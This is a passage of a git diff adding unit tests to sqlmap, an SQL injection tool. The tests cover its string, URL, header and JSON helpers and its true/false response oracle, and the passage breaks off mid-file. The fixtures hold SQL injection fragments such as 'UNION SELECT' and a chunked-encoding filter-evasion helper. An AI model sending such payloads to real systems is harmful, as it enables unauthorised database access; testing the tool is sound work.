self.assertFalse(isDigit(u"\xb2")) # superscript-2: str.isdigit() True, isDigit False + self.assertFalse(isDigit("")) # empty -> no match + self.assertFalse(isDigit(None)) + + def test_sanitize_str(self): + from lib.core.common import sanitizeStr + self.assertEqual(sanitizeStr("foo\n\rbar"), "foo bar") + self.assertEqual(sanitizeStr("a\r\nb"), "a b") + self.assertEqual(sanitizeStr(None), "None") + + def test_filter_control_chars(self): + from lib.core.common import filterControlChars + self.assertEqual(filterControlChars("AND 1>(2+3)\n--"), "AND 1>(2+3) --") + # custom replacement character + self.assertEqual(filterControlChars("a\tb", replacement="_"), "a_b") + + def test_normalize_path(self): + from lib.core.common import normalizePath + self.assertEqual(normalizePath("//var///log/apache.log"), "/var/log/apache.log") + self.assertEqual(normalizePath("/a/b/../c"), "/a/c") + + def test_directory_path(self): + from lib.core.common import directoryPath + self.assertEqual(directoryPath("/var/log/apache.log"), "/var/log") + # no extension -> returned unchanged + self.assertEqual(directoryPath("/var/log"), "/var/log") + + def test_longest_common_prefix(self): + from lib.core.common import longestCommonPrefix + self.assertEqual(longestCommonPrefix("foobar", "fobar"), "fo") + self.assertEqual(longestCommonPrefix("abc", "abd", "abe"), "ab") + # single sequence returned verbatim + self.assertEqual(longestCommonPrefix("only"), "only") + + def test_first_not_none(self): + from lib.core.common import firstNotNone + self.assertEqual(firstNotNone(None, None, 1, 2, 3), 1) + self.assertEqual(firstNotNone(None, 0), 0) # 0 is not None + self.assertIsNone(firstNotNone(None, None)) + + def test_decode_string_escape(self): + from lib.core.common import decodeStringEscape + self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") + self.assertEqual(decodeStringEscape("a\\nb"), "a\nb") + # no backslash -> unchanged + self.assertEqual(decodeStringEscape("plain"), "plain") + + def test_encode_string_escape(self): + from lib.core.common import encodeStringEscape + self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") + self.assertEqual(encodeStringEscape("a\nb"), "a\\nb") + self.assertEqual(encodeStringEscape("plain"), "plain") + + def test_decode_encode_string_escape_roundtrip(self): + from lib.core.common import decodeStringEscape, encodeStringEscape + self.assertEqual(decodeStringEscape(encodeStringEscape("x\ty\nz")), "x\ty\nz") + + def test_escape_json_value(self): + from lib.core.common import escapeJsonValue + # newline gets escaped (literal '\n' becomes the two chars backslash+n) + self.assertNotIn("\n", escapeJsonValue("foo\nbar")) + self.assertIn("\\n", escapeJsonValue("foo\nbar")) + # tab gets escaped to '\t' + self.assertIn("\\t", escapeJsonValue("foo\tbar")) + # quote and backslash escaped + self.assertEqual(escapeJsonValue('a"b'), 'a\\"b') + self.assertEqual(escapeJsonValue("a\\b"), "a\\\\b") + # ordinary characters untouched + self.assertEqual(escapeJsonValue("plain text"), "plain text") + + def test_clean_query(self): + from lib.core.common import cleanQuery + self.assertEqual(cleanQuery("select id from users"), "SELECT id FROM users") + # already-uppercase keywords stay; identifiers untouched + self.assertEqual(cleanQuery("SELECT a FROM t"), "SELECT a FROM t") + + def test_json_minimize_canonical(self): + from lib.core.common import jsonMinimize + # key order / whitespace independence + self.assertEqual(jsonMinimize('{"b": 2, "a": 1}'), jsonMinimize('{"a":1, "b":2}')) + # nested leaf path + self.assertEqual(jsonMinimize('{"a": {"b": 1}}'), ".a.b=1") + # empty object + self.assertEqual(jsonMinimize("{}"), "") + # not parseable -> None (and only None) + self.assertIsNone(jsonMinimize("not json")) + + def test_json_minimize_array_length_registers(self): + from lib.core.common import jsonMinimize + # array length change must perturb the projection + self.assertNotEqual(jsonMinimize('{"a": [1, 2]}'), jsonMinimize('{"a": [1, 2, 3]}')) + + def test_list_to_str_value(self): + from lib.core.common import listToStrValue + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + # set/tuple/generator normalized via list first + self.assertEqual(listToStrValue((1, 2)), "1, 2") + # non-list passes through + self.assertEqual(listToStrValue("abc"), "abc") + + def test_intersect(self): + from lib.core.common import intersect + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + # order follows containerA + self.assertEqual(intersect([3, 2, 1], [1, 2]), [2, 1]) + # case-insensitive option + self.assertEqual(intersect(["FOO", "bar"], ["foo"], lowerCase=True), ["foo"]) + + def test_priority_sort_columns(self): + from lib.core.common import prioritySortColumns + # 'id'-containing columns first, then by ascending length + self.assertEqual( + prioritySortColumns(["password", "userid", "name", "id"]), + ["id", "userid", "name", "password"], + ) + + def test_safe_variable_naming(self): + from lib.core.common import safeVariableNaming + self.assertEqual(safeVariableNaming("class.id"), "EVAL_636c6173732e6964") + # plain identifier left untouched + self.assertEqual(safeVariableNaming("foobar"), "foobar") + + def test_unsafe_variable_naming(self): + from lib.core.common import unsafeVariableNaming + self.assertEqual(unsafeVariableNaming("EVAL_636c6173732e6964"), "class.id") + self.assertEqual(unsafeVariableNaming("foobar"), "foobar") + + def test_variable_naming_roundtrip(self): + from lib.core.common import safeVariableNaming, unsafeVariableNaming + self.assertEqual(unsafeVariableNaming(safeVariableNaming("a-b")), "a-b") + + def test_average(self): + from lib.core.common import average + self.assertAlmostEqual(average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), 0.9, places=6) + self.assertEqual(average([2, 4]), 3.0) + self.assertIsNone(average([])) + + def test_stdev(self): + from lib.core.common import stdev + self.assertEqual("%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), "0.063") + # fewer than 2 values -> None + self.assertIsNone(stdev([1.0])) + self.assertIsNone(stdev([])) + + +class TestCommonSafeCompare(unittest.TestCase): + """Constant-time / checksum helpers.""" + + def test_safe_compare_strings(self): + from lib.core.common import safeCompareStrings + self.assertTrue(safeCompareStrings("test", "test")) + self.assertFalse(safeCompareStrings("test1", "test2")) + self.assertFalse(safeCompareStrings("test", None)) + # both None compares equal (a == b path) + self.assertTrue(safeCompareStrings(None, None)) + + def test_safe_cs_value(self): + from lib.core.common import safeCSValue + # ensure deterministic delimiter + old = conf.get("csvDel") + conf.csvDel = defaults.csvDel + try: + self.assertEqual(safeCSValue("foo, bar"), '"foo, bar"') + self.assertEqual(safeCSValue("foobar"), "foobar") + self.assertEqual(safeCSValue("foo\rbar"), '"foo\rbar"') + self.assertEqual(safeCSValue('foo"bar'), '"foo""bar"') + finally: + conf.csvDel = old + + +class TestCommonSafeExString(unittest.TestCase): + def test_sqlmap_exception_message(self): + from lib.core.common import getSafeExString + from lib.core.exception import SqlmapBaseException + self.assertEqual(getSafeExString(SqlmapBaseException("foobar")), "foobar") + + def test_oserror_prefixed_with_type(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(OSError(0, "foobar")), "OSError: foobar") + + def test_generic_value_error(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(ValueError("bad input")), "ValueError: bad input") + + +class TestCommonHostHeader(unittest.TestCase): + def test_plain_host(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com/vuln.php?id=1"), "www.target.com") + + def test_default_port_stripped(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:80/x"), "www.target.com") + self.assertEqual(getHostHeader("https://www.target.com:443/x"), "www.target.com") + + def test_nondefault_port_kept(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:8080/x"), "www.target.com:8080") + + def test_ipv6_brackets(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://[::1]:8080/vuln.php?id=1"), "[::1]:8080") + self.assertEqual(getHostHeader("http://[::1]/vuln.php?id=1"), "[::1]") + + +class TestCommonCheckSameHost(unittest.TestCase): + def test_same_host(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target.com/images/page2.php", + )) + + def test_different_host(self): + from lib.core.common import checkSameHost + self.assertFalse(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target2.com/images/page2.php", + )) + + def test_www_prefix_ignored(self): + from lib.core.common import checkSameHost + # leading 'www.' is stripped before comparison + self.assertTrue(checkSameHost("http://www.target.com/a", "http://target.com/b")) + + def test_single_url_true_and_empty_none(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost("http://only.com/a")) + self.assertIsNone(checkSameHost()) + + +class TestCommonUrldecode(unittest.TestCase): + def test_convall_true(self): + from lib.core.common import urldecode + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=True), "AND 1>(2+3)#") + + def test_convall_false_keeps_unsafe(self): + from lib.core.common import urldecode + # %2B (plus) is in the default 'unsafe' set so it stays encoded when convall=False + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_bytes_input(self): + from lib.core.common import urldecode + self.assertEqual(urldecode(b"AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_spaceplus(self): + from lib.core.common import urldecode + # with spaceplus the '+' becomes a space + self.assertEqual(urldecode("a+b", convall=False, spaceplus=True), "a b") + # without spaceplus the '+' stays + self.assertEqual(urldecode("a+b", convall=False, spaceplus=False), "a+b") + + +class TestCommonChunkSplit(unittest.TestCase): + def test_chunk_split_post_data(self): + import random + from lib.core.common import chunkSplitPostData + from lib.core.patch import unisonRandom + # The pinned docstring value is produced under sqlmap's cross-version PRNG; install it + # (then restore the stdlib functions) so the expectation is deterministic here too. + _saved = (random.choice, random.randint, random.sample, random.seed) + unisonRandom() + try: + random.seed(0) + expected = ('5;4Xe90\r\nSELEC\r\n3;irWlc\r\nT u\r\n1;eT4zO\r\ns\r\n' + '5;YB4hM\r\nernam\r\n9;2pUD8\r\ne,passwor\r\n3;mp07y\r\nd F\r\n' + '5;8RKXi\r\nROM u\r\n4;MvMhO\r\nsers\r\n0\r\n\r\n') + self.assertEqual(chunkSplitPostData("SELECT username,password FROM users"), expected) + finally: + random.choice, random.randint, random.sample, random.seed = _saved + + def test_chunk_split_terminator(self): + from lib.core.common import chunkSplitPostData + # regardless of content, the chunked stream must end with the zero-length terminator + # (assertion is seed-independent, so don't touch the global RNG) + self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n")) + + +class TestCommonDecodeIntToUnicode(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_basic_ascii(self): + from lib.core.common import decodeIntToUnicode + self.assertEqual(decodeIntToUnicode(35), "#") + self.assertEqual(decodeIntToUnicode(64), "@") + self.assertEqual(decodeIntToUnicode(65), "A") + + def test_non_int_passthrough(self): + from lib.core.common import decodeIntToUnicode + # non-int is returned unchanged + self.assertEqual(decodeIntToUnicode("x"), "x") + + def test_pgsql_high_codepoint(self): + from lib.core.common import decodeIntToUnicode + set_dbms(DBMS.PGSQL) + # value > 255 on PGSQL takes the _unichr(value) branch + self.assertEqual(decodeIntToUnicode(0x2122), u"\u2122") + + +class TestCommonDecodeDbmsHex(unittest.TestCase): + def setUp(self): + self._old_binary = kb.binaryField + kb.binaryField = False + + def tearDown(self): + kb.binaryField = self._old_binary + set_dbms(None) + + def test_plain_hex(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") + + def test_odd_length_appends_question_mark(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") + + def test_list_input(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) + + def test_non_hex_passthrough(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("5.1.41"), u"5.1.41") + + +class TestCommonUnsafeSQLIdentificator(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_mssql_brackets(self): + from lib.core.common import unsafeSQLIdentificatorNaming + from lib.core.common import getText + set_dbms(DBMS.MSSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("[begin]")), "begin") + self.assertEqual(getText(unsafeSQLIdentificatorNaming("foobar")), "foobar") + + def test_mysql_backticks(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.MYSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("`col`")), "col") + + def test_oracle_uppercases(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.ORACLE) + # Oracle strips double quotes and uppercases + self.assertEqual(getText(unsafeSQLIdentificatorNaming('"name"')), "NAME") + + +class TestCommonParseSqliteSchema(unittest.TestCase): + def setUp(self): + self._old_cached = kb.data.get("cachedColumns") + self._old_db = conf.db + self._old_tbl = conf.tbl + kb.data.cachedColumns = {} + conf.db = "SQLITE_MASTER" + conf.tbl = "users" + + def tearDown(self): + kb.data.cachedColumns = self._old_cached + conf.db = self._old_db + conf.tbl = self._old_tbl + + def test_simple_schema(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE users(\n\t\tid INTEGER,\n\t\tname TEXT\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("id", "INTEGER"), ("name", "TEXT"))) + + def test_constraints_skipped(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE suppliers(\n\tsupplier_id INTEGER PRIMARY KEY DESC,\n\tname TEXT NOT NULL\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("supplier_id", "INTEGER"), ("name", "TEXT"))) + + +# =========================================================================== # +# from tests/test_core_final.py (common.py classes) +# =========================================================================== # + +class TestCommonPureHelpers(unittest.TestCase): + """Pure string/encoding/list/regex helpers from lib/core/common.py.""" + + def test_boldify_message_marks_known_pattern(self): + self.assertEqual( + boldifyMessage("GET parameter id is not injectable", istty=True), + "\x1b[1mGET parameter id is not injectable\x1b[0m", + ) + + def test_boldify_message_leaves_plain_unchanged(self): + self.assertEqual(boldifyMessage("just a plain message", istty=True), "just a plain message") + + def test_calculate_delta_seconds_from_epoch(self): + self.assertGreater(calculateDeltaSeconds(0), 1151721660) + + def test_calculate_delta_seconds_nonnegative(self): + import time as _time + self.assertGreaterEqual(calculateDeltaSeconds(_time.time()), 0.0) + + def test_common_finder_only_returns_longest_common_prefix(self): + self.assertEqual(commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]), "abcde") + + def test_enum_value_to_name_lookup_hit(self): + self.assertEqual(enumValueToNameLookup(SORT_ORDER, SORT_ORDER.LAST), "LAST") + + def test_enum_value_to_name_lookup_miss(self): + self.assertIsNone(enumValueToNameLookup(SORT_ORDER, -987654321)) + + def test_file_path_to_safe_string(self): + self.assertEqual(filePathToSafeString("C:/Windows/system32"), "C__Windows_system32") + + def test_file_path_to_safe_string_spaces_backslashes(self): + self.assertEqual(filePathToSafeString("a b\\c:d"), "a_b_c_d") + + def test_is_windows_drive_letter_path_true(self): + self.assertTrue(isWindowsDriveLetterPath("C:\\boot.ini")) + + def test_is_windows_drive_letter_path_false(self): + self.assertFalse(isWindowsDriveLetterPath("/var/log/apache.log")) + + def test_clean_replace_unicode_list(self): + self.assertEqual(cleanReplaceUnicode(["a", "b"]), ["a", "b"]) + + def test_clean_replace_unicode_scalar(self): + self.assertEqual(cleanReplaceUnicode(u"plain"), u"plain") + + def test_trim_alpha_num(self): + self.assertEqual(trimAlphaNum("AND 1>(2+3)-- foobar"), " 1>(2+3)-- ") + + def test_trim_alpha_num_all_alnum(self): + self.assertEqual(trimAlphaNum("abc123"), "") + + def test_trim_alpha_num_empty(self): + self.assertEqual(trimAlphaNum(""), "") + + def test_list_to_str_value_list(self): + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + + def test_list_to_str_value_tuple(self): + self.assertEqual(listToStrValue((4, 5)), "4, 5") + + def test_list_to_str_value_scalar(self): + self.assertEqual(listToStrValue("foo"), "foo") + + def test_intersect_lists(self): + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + + def test_intersect_lowercase(self): + self.assertEqual(intersect(["A", "B"], ["a"], lowerCase=True), ["a"]) + + def test_intersect_empty(self): + self.assertEqual(intersect([], [1, 2]), []) + + def test_apply_function_recursively(self): + self.assertEqual( + applyFunctionRecursively([1, 2, [3, -9]], lambda _: _ > 0), + [True, True, [True, False]], + ) + + def test_apply_function_recursively_scalar(self): + self.assertEqual(applyFunctionRecursively(5, lambda _: _ + 1), 6) + + +class TestCommonRegexAndPage(unittest.TestCase): + """Regex / page-content extraction helpers.""" + + def test_extract_regex_result_hit(self): + self.assertEqual(extractRegexResult(r"a(?P[^g]+)g", "abcdefg"), "bcdef") + + def test_extract_regex_result_no_match(self): + self.assertIsNone(extractRegexResult(r"a(?P[^g]+)g", "xyz")) + + def test_extract_regex_result_no_result_group(self): + self.assertIsNone(extractRegexResult(r"plain", "plain")) + + def test_extract_regex_result_empty_content(self): + self.assertIsNone(extractRegexResult(r"a(?P.)b", "")) + + def test_extract_text_tag_content(self): + self.assertEqual( + extractTextTagContent("Title
    foobar
    "), + ["Title", "foobar"], + ) + + def test_extract_text_tag_content_empty(self): + self.assertEqual(extractTextTagContent(""), []) + + def test_get_filtered_page_content(self): + self.assertEqual( + getFilteredPageContent(u"foobartest"), + "foobar test", + ) + + def test_get_filtered_page_content_drops_script(self): + page = u"hello" + self.assertNotIn("var x", getFilteredPageContent(page)) + self.assertIn("hello", getFilteredPageContent(page)) + + def test_get_filtered_page_content_nonstring_passthrough(self): + self.assertEqual(getFilteredPageContent(None), None) + + def test_extract_error_message_oracle(self): + page = (u"Test\nWarning: oci_parse() " + u"[function.oci-parse]: ORA-01756: quoted string not properly " + u"terminated

    Only a test page

    ") + self.assertEqual( + getText(extractErrorMessage(page)), + "oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated", + ) + + def test_extract_error_message_none_for_plain(self): + self.assertIsNone(extractErrorMessage("Warning: This is only a dummy foobar test")) + + def test_extract_error_message_non_string(self): + self.assertIsNone(extractErrorMessage(None)) + + def test_find_multipart_post_boundary(self): + post = ("-----------------------------9051914041544843365972754266\n" + "Content-Disposition: form-data; name=text\n\ndefault") + self.assertEqual(findMultipartPostBoundary(post), "9051914041544843365972754266") + + def test_find_multipart_post_boundary_none(self): + self.assertIsNone(findMultipartPostBoundary("")) + + +class TestCommonHeadersAndExpected(unittest.TestCase): + + def test_get_header_case_insensitive(self): + self.assertEqual(getHeader({"Foo": "bar"}, "foo"), "bar") + + def test_get_header_missing(self): + self.assertIsNone(getHeader({"Foo": "bar"}, "x")) + + def test_get_header_empty_dict(self): + self.assertIsNone(getHeader({}, "anything")) + + def test_get_request_header_hit(self): + self.assertEqual(getText(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "foo")), "BAR") + + def test_get_request_header_miss(self): + self.assertIsNone(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "missing")) + + def test_extract_expected_value_bool_true(self): + self.assertIs(extractExpectedValue(["1"], EXPECTED.BOOL), True) + + def test_extract_expected_value_bool_false(self): + self.assertIs(extractExpectedValue(["0"], EXPECTED.BOOL), False) + + def test_extract_expected_value_bool_word(self): + self.assertIs(extractExpectedValue(["true"], EXPECTED.BOOL), True) + self.assertIs(extractExpectedValue(["false"], EXPECTED.BOOL), False) + + def test_extract_expected_value_int(self): + self.assertEqual(extractExpectedValue("5", EXPECTED.INT), 5) + + def test_extract_expected_value_int_invalid(self): + self.assertIsNone(extractExpectedValue(u"7\xb9645", EXPECTED.INT)) + + def test_extract_expected_value_no_expected(self): + self.assertEqual(extractExpectedValue("foo", None), "foo") + + +class TestParseJsonAndHash(unittest.TestCase): + + def test_parse_json_double_quotes(self): + self.assertEqual(parseJson('{"id":1}')["id"], 1) + + def test_parse_json_single_quotes(self): + self.assertEqual(parseJson("{'id':1, 'foo':[2,3,4]}")["id"], 1) + + def test_parse_json_not_json(self): + self.assertIsNone(parseJson("this is not json")) + + def test_parse_password_hash_mssql(self): + saved = kb.forcedDbms + try: + kb.forcedDbms = DBMS.MSSQL + result = parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + self.assertIn("salt: 4086ceb6", result) + self.assertIn("header: 0x0100", result) + finally: + kb.forcedDbms = saved + + def test_parse_password_hash_none(self): + self.assertEqual(parsePasswordHash(None), NULL) + + def test_parse_password_hash_blank(self): + self.assertEqual(parsePasswordHash(" "), NULL) + + +class TestSerializeAndTechnique(unittest.TestCase): + + def test_serialize_roundtrip(self): + self.assertEqual(unserializeObject(serializeObject([1, 2, 3])), [1, 2, 3]) + + def test_serialize_object_is_str(self): + self.assertIsInstance(serializeObject([1, 2, ("a", "b")]), str) + + def test_unserialize_none(self): + self.assertIsNone(unserializeObject(None)) + + def test_set_get_technique_thread_local(self): + saved = getTechnique() + try: + setTechnique(5) + self.assertEqual(getTechnique(), 5) + finally: + setTechnique(saved) + + def test_get_technique_falls_back_to_kb(self): + saved_thread = getTechnique() + saved_kb = kb.get("technique") + try: + setTechnique(None) + kb.technique = 7 + self.assertEqual(getTechnique(), 7) + finally: + setTechnique(saved_thread) + kb.technique = saved_kb + + +class TestRemovePostHint(unittest.TestCase): + + def test_removes_known_prefix(self): + self.assertEqual(removePostHintPrefix("JSON id"), "id") + + def test_no_prefix_unchanged(self): + self.assertEqual(removePostHintPrefix("id"), "id") + + +class TestFileHelpers(unittest.TestCase): + + def test_check_file_existing(self): + self.assertTrue(checkFile(__file__)) + + def test_check_file_missing_no_raise(self): + self.assertFalse(checkFile("/no/such/path_xyz_123", raiseOnError=False)) + + def test_check_file_missing_raises(self): + with self.assertRaises(SqlmapSystemException): + checkFile("/no/such/path_xyz_123", raiseOnError=True) + + def test_is_zip_file_wordlist(self): + # paths.WORDLIST is a zip-compressed wordlist shipped with sqlmap + self.assertTrue(isZipFile(paths.WORDLIST)) + + def test_is_zip_file_plain_text(self): + self.assertFalse(isZipFile(paths.SQL_KEYWORDS)) + + def test_safe_filepath_encode_ascii_passthrough(self): + # On Python 3 the function returns the value unchanged for str input + self.assertEqual(safeFilepathEncode("/tmp/x"), "/tmp/x") + + def test_safe_expand_user_basename_preserved(self): + self.assertIn(os.path.basename(__file__), safeExpandUser(__file__)) + + +class TestCheckOldOptions(unittest.TestCase): + + def test_no_old_options_is_noop(self): + # Returns None and does not raise when no deprecated options are present + self.assertIsNone(checkOldOptions(["-u", "http://test.invalid/?id=1", "--banner"])) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_common_helpers.py b/tests/test_common_helpers.py new file mode 100644 index 00000000000..ca37d14bd63 --- /dev/null +++ b/tests/test_common_helpers.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Assorted request-shaping helpers in lib/core/common.py: +chunkSplitPostData (HTTP chunked-transfer evasion), randomizeParameterValue +(tamper/cache-buster), getHostHeader (Host header derivation). + +chunkSplitPostData uses random chunk sizes, so its output is asserted +structurally (reassembles to the original, terminates correctly) rather than +byte-for-byte; randomizeParameterValue is asserted via its invariants. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import chunkSplitPostData, randomizeParameterValue, getHostHeader + + +def _dechunk(data): + """Reassemble an HTTP/1.1 chunked body back into its payload.""" + out = [] + i = 0 + while i < len(data): + nl = data.index("\r\n", i) + size = int(data[i:nl].split(";")[0], 16) # size; optional chunk-extension + start = nl + 2 + out.append(data[start:start + size]) + i = start + size + 2 # skip chunk data + trailing CRLF + if size == 0: + break + return "".join(out) + + +class TestChunkSplit(unittest.TestCase): + def test_reassembles_to_original(self): + for payload in ("a=1&b=2", "x" * 50, "single=value", ""): + self.assertEqual(_dechunk(chunkSplitPostData(payload)), payload, + msg="chunk reassembly failed for %r" % payload) + + def test_terminates_with_zero_chunk(self): + self.assertTrue(chunkSplitPostData("a=1&b=2").endswith("0\r\n\r\n")) + + +class TestRandomizeParameterValue(unittest.TestCase): + def test_length_preserved(self): + for v in ("abc123", "value", "42", "MixedCASE99"): + self.assertEqual(len(randomizeParameterValue(v)), len(v), msg="length changed for %r" % v) + + def test_char_class_preserved(self): + # letters stay letters, digits stay digits (positionally) + src = "abc123XYZ789" + out = randomizeParameterValue(src) + for a, b in zip(src, out): + self.assertEqual(a.isdigit(), b.isdigit(), msg="char class changed: %r -> %r" % (a, b)) + self.assertEqual(a.isalpha(), b.isalpha(), msg="char class changed: %r -> %r" % (a, b)) + + +class TestGetHostHeader(unittest.TestCase): + def test_with_port(self): + self.assertEqual(getHostHeader("http://h:8080/p"), "h:8080") + + def test_without_port(self): + self.assertEqual(getHostHeader("http://example.com/path"), "example.com") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_comparison.py b/tests/test_comparison.py new file mode 100644 index 00000000000..5f361e21ce3 --- /dev/null +++ b/tests/test_comparison.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The true/false/None response oracle (lib/request/comparison.py). + +The seqMatcher ratio path needs a live page template and is intentionally left +to --vuln. What IS pure and worth pinning here is the short-circuit decision +table: --string / --not-string / --regexp / --code matching, and the _adjust() +negative-logic flip. These are the rules that decide whether a payload counts +as True, and they are easy to break with a refactor. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.comparison import comparison, _adjust +from lib.core.common import removeReflectiveValues +from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.data import conf, kb + + +def _reset_match_conf(): + conf.string = conf.notString = conf.regexp = conf.code = None + + +class TestStringMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_string_present_is_true(self): + conf.string = "WELCOME" + self.assertTrue(comparison("xx WELCOME yy", None, code=200)) + + def test_string_absent_is_false(self): + conf.string = "WELCOME" + self.assertFalse(comparison("nothing here", None, code=200)) + + +class TestRegexpMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_regexp_match_is_true(self): + conf.regexp = "id=\\d+" + self.assertTrue(comparison("user id=42 ok", None, code=200)) + + def test_regexp_nomatch_is_false(self): + conf.regexp = "id=\\d+" + self.assertFalse(comparison("user name", None, code=200)) + + +class TestCodeMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_code_match_is_true(self): + conf.code = 200 + self.assertTrue(comparison("body", None, code=200)) + + def test_code_mismatch_is_false(self): + conf.code = 200 + self.assertFalse(comparison("body", None, code=404)) + + +class TestAdjustNegativeLogic(unittest.TestCase): + """_adjust flips the condition under negative logic (the raw-page scheme), + but leaves None untouched and never flips when getRatioValue is requested.""" + + def setUp(self): + _reset_match_conf() # negative logic only applies with no string/regexp/code set + + def tearDown(self): + _reset_match_conf() + kb.negativeLogic = False + + def test_plain_passthrough(self): + kb.negativeLogic = False + self.assertEqual(_adjust(True, False), True) + self.assertEqual(_adjust(False, False), False) + + def test_negative_logic_flips(self): + kb.negativeLogic = True + self.assertEqual(_adjust(True, False), False) + self.assertEqual(_adjust(False, False), True) + + def test_negative_logic_leaves_none(self): + kb.negativeLogic = True + self.assertIsNone(_adjust(None, False)) + + +class TestRemoveReflectiveValues(unittest.TestCase): + """Reflected payloads are masked before comparison so a page echoing the + injected string isn't mistaken for a True/different response. Note: the + masking engages for *bordered* payloads (containing non-alpha chars), which + is what real injection payloads look like.""" + + def test_reflected_payload_is_masked(self): + out = removeReflectiveValues(u"id=1 UNION SELECT 1,2,3 end", u"1 UNION SELECT 1,2,3") + self.assertIn(REFLECTED_VALUE_MARKER, out) + self.assertNotIn(u"UNION SELECT 1,2,3", out) + + def test_not_reflected_unchanged(self): + content = u"nothing reflected here" + self.assertEqual(removeReflectiveValues(content, u"1 AND 1=1"), content) + + def test_none_payload_unchanged(self): + content = u"id=1 AND 1=1 end" + self.assertEqual(removeReflectiveValues(content, None), content) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_comparison_json.py b/tests/test_comparison_json.py new file mode 100644 index 00000000000..247195c193f --- /dev/null +++ b/tests/test_comparison_json.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +D1 - structure-aware (JSON) detection oracle. Two layers: + * jsonMinimize() (lib/core/common.py): the order-independent leaf-path projection. + * comparison() (lib/request/comparison.py): when the response Content-Type is JSON, the + similarity ratio is computed over that projection instead of raw text - so key + reordering / whitespace noise no longer perturbs it (false-positive fix) and a small + value/structure change is no longer drowned out in a large body (false-negative fix). + +The headline tests assert the JSON path is *better* than the text path on the same inputs, +not merely that it runs; and that any non-JSON / unparseable / explicit-mode case falls +back to the exact text behavior (so the HTML oracle is untouched). +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import jsonMinimize +from lib.core.data import conf, kb +from lib.core.enums import HTTP_HEADER +from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.threads import getCurrentThreadData +from lib.request.comparison import comparison + + +class _Headers(object): + """Minimal stand-in for the per-response headers object the oracle receives.""" + def __init__(self, contentType): + self._ct = contentType + + def get(self, name, default=None): + return self._ct if (self._ct and name.lower() == HTTP_HEADER.CONTENT_TYPE.lower()) else default + + @property + def headers(self): + return 